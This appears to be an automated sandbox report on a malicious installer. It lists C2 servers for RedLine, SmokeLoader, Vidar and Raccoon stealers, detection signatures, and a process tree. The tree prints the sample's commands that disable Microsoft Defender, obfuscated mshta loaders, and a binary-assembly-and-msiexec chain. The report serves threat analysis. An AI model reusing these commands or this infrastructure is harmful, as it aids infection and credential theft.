Resubmissions

27-10-2021 12:55

211027-p592qaegd7 10

27-10-2021 05:03

211027-fpnzwaaff8 10

26-10-2021 14:24

211026-rqs6rshff8 10

Analysis

  • max time kernel
    443s
  • max time network
    636s
  • platform
    windows10_x64
  • resource
    win10-ja-20211014
  • submitted
    26-10-2021 14:24

General

  • Target

    setup_x86_x64_install.exe

  • Size

    5.6MB

  • MD5

    8dfefd1f56f2ac4f1869d86edbb4aa8f

  • SHA1

    3a65b0920890fd7e8ae751ee15f76de281584010

  • SHA256

    433e51a49b84a52cd5f740a12ec46a145d3c14a95e529d4ef32fd250e02829ed

  • SHA512

    996a84df42b79c8786f4347b875621a476bd6a0e71d4c61fd47a726fb9f6717051d03d8b381233e7966c1a2150628b8b7986727298a6fc803aea504f96fd934c

Malware Config

Extracted

Family

redline

Botnet

ChrisNEW

C2

194.104.136.5:46013

Extracted

Family

redline

Botnet

media25

C2

91.121.67.60:23325

Extracted

Family

smokeloader

Version

2020

C2

http://brandyjaggers.com/upload/

http://andbal.com/upload/

http://alotofquotes.com/upload/

http://szpnc.cn/upload/

http://uggeboots.com/upload/

http://100klv.com/upload/

http://rapmusic.at/upload/

rc4.i32
rc4.i32

Extracted

Family

vidar

Version

41.5

Botnet

933

C2

https://mas.to/@xeroxxx

Attributes
  • profile_id

    933

Extracted

Family

raccoon

Botnet

187e8d46623768b376fedb48580157fafedb4942

Attributes
  • url4cnc

    http://telegin.top/frombobu98s

    http://ttmirror.top/frombobu98s

    http://teletele.top/frombobu98s

    http://telegalive.top/frombobu98s

    http://toptelete.top/frombobu98s

    http://telegraf.top/frombobu98s

    https://t.me/frombobu98s

rc4.plain
rc4.plain

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 4 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Socelars Payload 2 IoCs
  • Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Vidar Stealer 2 IoCs
  • ASPack v2.12-2.42 7 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Downloads MZ/PE file
  • Executes dropped EXE 64 IoCs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses 2FA software files, possible credential harvesting 2 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 15 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 5 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 9 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • autoit_exe 2 IoCs

    AutoIT scripts compiled to PE executables.

  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 10 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Kills process with taskkill 5 IoCs
  • Modifies Internet Explorer settings 1 TTPs 6 IoCs
  • Modifies data under HKEY_USERS 16 IoCs
  • Modifies registry class 34 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious behavior: SetClipboardViewer 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 63 IoCs
  • Suspicious use of SendNotifyMessage 56 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s Schedule
    1⤵
    • Drops file in System32 directory
    PID:596
  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s BITS
    1⤵
    • Suspicious use of SetThreadContext
    • Modifies registry class
    PID:4456
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k SystemNetworkService
      2⤵
      • Drops file in System32 directory
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      • Modifies registry class
      PID:1076
  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s Browser
    1⤵
      PID:2776
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s WpnService
      1⤵
        PID:2732
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
        1⤵
          PID:2712
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
          1⤵
            PID:2452
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
            1⤵
              PID:2412
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
              1⤵
                PID:1864
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s SENS
                1⤵
                  PID:1432
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s Themes
                  1⤵
                    PID:1260
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                    1⤵
                      PID:1252
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                      1⤵
                        PID:1080
                      • c:\windows\system32\svchost.exe
                        c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                        1⤵
                          PID:356
                        • C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
                          "C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3620
                          • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
                            "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
                            2⤵
                            • Executes dropped EXE
                            • Suspicious use of WriteProcessMemory
                            PID:1828
                            • C:\Users\Admin\AppData\Local\Temp\7zS4271D2C5\setup_install.exe
                              "C:\Users\Admin\AppData\Local\Temp\7zS4271D2C5\setup_install.exe"
                              3⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              • Suspicious use of WriteProcessMemory
                              PID:4248
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
                                4⤵
                                • Suspicious use of WriteProcessMemory
                                PID:1284
                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                  powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
                                  5⤵
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:2704
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
                                4⤵
                                • Suspicious use of WriteProcessMemory
                                PID:1332
                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                  powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
                                  5⤵
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:2444
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /c Tue0985edbf92e08954.exe
                                4⤵
                                • Suspicious use of WriteProcessMemory
                                PID:1456
                                • C:\Users\Admin\AppData\Local\Temp\7zS4271D2C5\Tue0985edbf92e08954.exe
                                  Tue0985edbf92e08954.exe
                                  5⤵
                                  • Executes dropped EXE
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:4040
                                  • C:\ProgramData\5661775.exe
                                    "C:\ProgramData\5661775.exe"
                                    6⤵
                                    • Executes dropped EXE
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:1244
                                  • C:\ProgramData\3740436.exe
                                    "C:\ProgramData\3740436.exe"
                                    6⤵
                                    • Executes dropped EXE
                                    • Adds Run key to start application
                                    PID:3980
                                    • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                                      "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                                      7⤵
                                      • Executes dropped EXE
                                      PID:2816
                                  • C:\ProgramData\8797061.exe
                                    "C:\ProgramData\8797061.exe"
                                    6⤵
                                    • Executes dropped EXE
                                    PID:3912
                                  • C:\ProgramData\6506636.exe
                                    "C:\ProgramData\6506636.exe"
                                    6⤵
                                      PID:1936
                                      • C:\Windows\SysWOW64\explorer.exe
                                        "C:\Windows\SysWOW64\explorer.exe"
                                        7⤵
                                          PID:4032
                                        • C:\Windows\SysWOW64\explorer.exe
                                          "C:\Windows\SysWOW64\explorer.exe"
                                          7⤵
                                            PID:4360
                                          • C:\Windows\SysWOW64\explorer.exe
                                            "C:\Windows\SysWOW64\explorer.exe"
                                            7⤵
                                              PID:3696
                                            • C:\Windows\SysWOW64\explorer.exe
                                              "C:\Windows\SysWOW64\explorer.exe"
                                              7⤵
                                                PID:2324
                                              • C:\Windows\SysWOW64\explorer.exe
                                                "C:\Windows\SysWOW64\explorer.exe"
                                                7⤵
                                                  PID:3620
                                              • C:\ProgramData\2284912.exe
                                                "C:\ProgramData\2284912.exe"
                                                6⤵
                                                • Executes dropped EXE
                                                PID:3436
                                          • C:\Windows\SysWOW64\cmd.exe
                                            C:\Windows\system32\cmd.exe /c Tue097328c1b990.exe
                                            4⤵
                                              PID:1644
                                              • C:\Users\Admin\AppData\Local\Temp\7zS4271D2C5\Tue097328c1b990.exe
                                                Tue097328c1b990.exe
                                                5⤵
                                                • Executes dropped EXE
                                                PID:3572
                                            • C:\Windows\SysWOW64\cmd.exe
                                              C:\Windows\system32\cmd.exe /c Tue09c257807a702a4.exe
                                              4⤵
                                              • Suspicious use of WriteProcessMemory
                                              PID:1592
                                              • C:\Users\Admin\AppData\Local\Temp\7zS4271D2C5\Tue09c257807a702a4.exe
                                                Tue09c257807a702a4.exe
                                                5⤵
                                                • Executes dropped EXE
                                                PID:2728
                                            • C:\Windows\SysWOW64\cmd.exe
                                              C:\Windows\system32\cmd.exe /c Tue0978af55b9.exe
                                              4⤵
                                              • Suspicious use of WriteProcessMemory
                                              PID:1772
                                              • C:\Users\Admin\AppData\Local\Temp\7zS4271D2C5\Tue0978af55b9.exe
                                                Tue0978af55b9.exe
                                                5⤵
                                                • Executes dropped EXE
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:4180
                                                • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                                                  6⤵
                                                  • Executes dropped EXE
                                                  PID:4024
                                                  • C:\Users\Admin\AppData\Local\Temp\BCleanSoft82.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\BCleanSoft82.exe"
                                                    7⤵
                                                    • Executes dropped EXE
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:916
                                                    • C:\Users\Admin\AppData\Roaming\5699351.exe
                                                      "C:\Users\Admin\AppData\Roaming\5699351.exe"
                                                      8⤵
                                                      • Executes dropped EXE
                                                      PID:5176
                                                    • C:\Users\Admin\AppData\Roaming\1357349.exe
                                                      "C:\Users\Admin\AppData\Roaming\1357349.exe"
                                                      8⤵
                                                      • Executes dropped EXE
                                                      PID:5580
                                                    • C:\Users\Admin\AppData\Roaming\3141745.exe
                                                      "C:\Users\Admin\AppData\Roaming\3141745.exe"
                                                      8⤵
                                                      • Executes dropped EXE
                                                      PID:5504
                                                    • C:\Users\Admin\AppData\Roaming\514005.exe
                                                      "C:\Users\Admin\AppData\Roaming\514005.exe"
                                                      8⤵
                                                      • Executes dropped EXE
                                                      PID:5260
                                                    • C:\Users\Admin\AppData\Roaming\1808954.exe
                                                      "C:\Users\Admin\AppData\Roaming\1808954.exe"
                                                      8⤵
                                                      • Executes dropped EXE
                                                      • Suspicious use of SetThreadContext
                                                      PID:5836
                                                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
                                                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
                                                        9⤵
                                                          PID:5796
                                                      • C:\Users\Admin\AppData\Roaming\5916997.exe
                                                        "C:\Users\Admin\AppData\Roaming\5916997.exe"
                                                        8⤵
                                                        • Executes dropped EXE
                                                        • Suspicious behavior: SetClipboardViewer
                                                        PID:2124
                                                      • C:\Users\Admin\AppData\Roaming\7858469.exe
                                                        "C:\Users\Admin\AppData\Roaming\7858469.exe"
                                                        8⤵
                                                        • Executes dropped EXE
                                                        PID:2568
                                                    • C:\Users\Admin\AppData\Local\Temp\inst1.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\inst1.exe"
                                                      7⤵
                                                        PID:1724
                                                      • C:\Users\Admin\AppData\Local\Temp\Soft1WW02.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\Soft1WW02.exe"
                                                        7⤵
                                                        • Executes dropped EXE
                                                        • Loads dropped DLL
                                                        • Checks processor information in registry
                                                        PID:4964
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /c taskkill /im Soft1WW02.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\Soft1WW02.exe" & del C:\ProgramData\*.dll & exit
                                                          8⤵
                                                            PID:5164
                                                            • C:\Windows\SysWOW64\taskkill.exe
                                                              taskkill /im Soft1WW02.exe /f
                                                              9⤵
                                                              • Kills process with taskkill
                                                              PID:7132
                                                            • C:\Windows\SysWOW64\timeout.exe
                                                              timeout /t 6
                                                              9⤵
                                                              • Delays execution with timeout.exe
                                                              PID:4464
                                                        • C:\Users\Admin\AppData\Local\Temp\4.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\4.exe"
                                                          7⤵
                                                          • Executes dropped EXE
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:1712
                                                          • C:\Windows\system32\WerFault.exe
                                                            C:\Windows\system32\WerFault.exe -u -p 1712 -s 1988
                                                            8⤵
                                                            • Program crash
                                                            PID:5136
                                                        • C:\Users\Admin\AppData\Local\Temp\5.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\5.exe"
                                                          7⤵
                                                          • Executes dropped EXE
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:1852
                                                          • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                                                            "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                                                            8⤵
                                                            • Executes dropped EXE
                                                            • Loads dropped DLL
                                                            PID:5956
                                                        • C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"
                                                          7⤵
                                                          • Executes dropped EXE
                                                          • Checks whether UAC is enabled
                                                          PID:3936
                                                          • C:\Windows\SysWOW64\mshta.exe
                                                            "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )
                                                            8⤵
                                                            • Checks whether UAC is enabled
                                                            PID:4072
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "" == "" for %M in ( "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"
                                                              9⤵
                                                                PID:1220
                                                                • C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe
                                                                  ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi
                                                                  10⤵
                                                                  • Executes dropped EXE
                                                                  • Checks whether UAC is enabled
                                                                  PID:5628
                                                                  • C:\Windows\SysWOW64\mshta.exe
                                                                    "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in ( ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )
                                                                    11⤵
                                                                      PID:5528
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "/PLQtzfgO0m8dRv4iYALOqi " == "" for %M in ( "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"
                                                                        12⤵
                                                                          PID:5472
                                                                      • C:\Windows\SysWOW64\mshta.exe
                                                                        "C:\Windows\System32\mshta.exe" VbScRIpt: CLosE ( cReAteobjEcT ( "wscRiPt.SheLl" ). RUn ( "C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~> TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu + WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE ) )
                                                                        11⤵
                                                                        • Checks whether UAC is enabled
                                                                        PID:6628
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          "C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~> TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu + WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC
                                                                          12⤵
                                                                            PID:6856
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /S /D /c" EcHo "
                                                                              13⤵
                                                                                PID:6328
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"
                                                                                13⤵
                                                                                  PID:1592
                                                                                • C:\Windows\SysWOW64\msiexec.exe
                                                                                  msiexec -Y ..\lXQ2g.WC
                                                                                  13⤵
                                                                                  • Loads dropped DLL
                                                                                  PID:5172
                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                            taskkill -f -iM "search_hyperfs_206.exe"
                                                                            10⤵
                                                                            • Kills process with taskkill
                                                                            PID:2800
                                                                    • C:\Users\Admin\AppData\Local\Temp\setup.exe
                                                                      "C:\Users\Admin\AppData\Local\Temp\setup.exe"
                                                                      7⤵
                                                                      • Executes dropped EXE
                                                                      PID:1804
                                                                    • C:\Users\Admin\AppData\Local\Temp\juanli-game.exe
                                                                      "C:\Users\Admin\AppData\Local\Temp\juanli-game.exe"
                                                                      7⤵
                                                                        PID:1188
                                                                      • C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"
                                                                        7⤵
                                                                        • Executes dropped EXE
                                                                        • Loads dropped DLL
                                                                        PID:4856
                                                                        • C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
                                                                          C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
                                                                          8⤵
                                                                          • Executes dropped EXE
                                                                          • Loads dropped DLL
                                                                          • Adds Run key to start application
                                                                          • Checks whether UAC is enabled
                                                                          PID:7064
                                                                          • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                            "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--loGQqfG2tg"
                                                                            9⤵
                                                                            • Executes dropped EXE
                                                                            • Checks computer location settings
                                                                            • Loads dropped DLL
                                                                            • Checks whether UAC is enabled
                                                                            • Suspicious use of FindShellTrayWindow
                                                                            PID:1724
                                                                            • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                              C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1e4,0x1e8,0x1ec,0x1c0,0x1f0,0x7ffaf0c3dec0,0x7ffaf0c3ded0,0x7ffaf0c3dee0
                                                                              10⤵
                                                                              • Executes dropped EXE
                                                                              • Loads dropped DLL
                                                                              PID:1848
                                                                            • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                              "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1744,4495952737441613711,9850074943505889571,131072 --lang=ja --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1724_1429367456" --mojo-platform-channel-handle=1808 /prefetch:8
                                                                              10⤵
                                                                              • Loads dropped DLL
                                                                              PID:1636
                                                                            • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                              "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1744,4495952737441613711,9850074943505889571,131072 --lang=ja --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1724_1429367456" --mojo-platform-channel-handle=2312 /prefetch:8
                                                                              10⤵
                                                                                PID:6552
                                                                              • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1744,4495952737441613711,9850074943505889571,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1724_1429367456" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1760 /prefetch:2
                                                                                10⤵
                                                                                • Executes dropped EXE
                                                                                • Loads dropped DLL
                                                                                PID:1188
                                                                              • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1744,4495952737441613711,9850074943505889571,131072 --lang=ja --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1724_1429367456" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --mojo-platform-channel-handle=2620 /prefetch:1
                                                                                10⤵
                                                                                • Checks computer location settings
                                                                                PID:2268
                                                                              • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1744,4495952737441613711,9850074943505889571,131072 --lang=ja --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1724_1429367456" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2672 /prefetch:1
                                                                                10⤵
                                                                                • Checks computer location settings
                                                                                PID:6808
                                                                              • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1744,4495952737441613711,9850074943505889571,131072 --lang=ja --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1724_1429367456" --mojo-platform-channel-handle=3276 /prefetch:8
                                                                                10⤵
                                                                                  PID:1312
                                                                                • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                  "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1744,4495952737441613711,9850074943505889571,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1724_1429367456" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3272 /prefetch:2
                                                                                  10⤵
                                                                                    PID:2116
                                                                            • C:\Users\Admin\AppData\Local\Temp\10.exe
                                                                              "C:\Users\Admin\AppData\Local\Temp\10.exe"
                                                                              7⤵
                                                                              • Executes dropped EXE
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              PID:1140
                                                                              • C:\Windows\system32\WerFault.exe
                                                                                C:\Windows\system32\WerFault.exe -u -p 1140 -s 1728
                                                                                8⤵
                                                                                • Program crash
                                                                                PID:5664
                                                                            • C:\Users\Admin\AppData\Local\Temp\Chrome5.exe
                                                                              "C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"
                                                                              7⤵
                                                                              • Executes dropped EXE
                                                                              PID:3308
                                                                              • C:\Windows\System32\conhost.exe
                                                                                "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"
                                                                                8⤵
                                                                                  PID:5020
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c Tue0947ef38552fc.exe
                                                                          4⤵
                                                                            PID:2476
                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS4271D2C5\Tue0947ef38552fc.exe
                                                                              Tue0947ef38552fc.exe
                                                                              5⤵
                                                                              • Executes dropped EXE
                                                                              • Checks whether UAC is enabled
                                                                              • Suspicious use of FindShellTrayWindow
                                                                              • Suspicious use of SendNotifyMessage
                                                                              PID:3668
                                                                              • C:\Users\Public\run2.exe
                                                                                C:\Users\Public\run2.exe
                                                                                6⤵
                                                                                • Executes dropped EXE
                                                                                • Suspicious use of FindShellTrayWindow
